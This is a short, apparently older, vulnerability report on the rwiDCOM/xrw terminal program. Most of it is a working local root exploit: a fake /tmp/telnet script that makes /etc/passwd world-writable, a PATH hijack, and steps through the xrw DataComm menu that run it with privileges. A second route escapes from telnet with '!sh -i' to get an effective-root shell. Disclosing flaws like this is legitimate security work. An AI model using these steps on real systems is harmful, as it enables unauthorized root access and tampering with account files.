PROBLEM
An older problem with rwiDCOM -- do something like:
cat >/tmp/telnet << EOF
chmod 666 /etc/passwd
EOF
chmod 777 /tmp/telnet
PATH=/tmp:$PATH
export PATH
and then run xrw from a shell, go General->Datacomm Screen, and
select telnet to localhost. It'll follow the new PATH straight
into /tmp/telnet.
I don't know if the bug is in rwiDCOM or what, but SOMETHING
definitely has a bug... start up the xrw window, go to General
menu, into DataComm, then choose telnet to some valid host..
telnet will start up in the window, and then use ^] to get to the
telnet prompt and use !sh -i and you're euid root..
